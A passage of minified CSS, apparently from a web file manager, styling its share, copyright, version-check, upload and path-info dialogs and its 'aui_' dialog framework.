.aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple 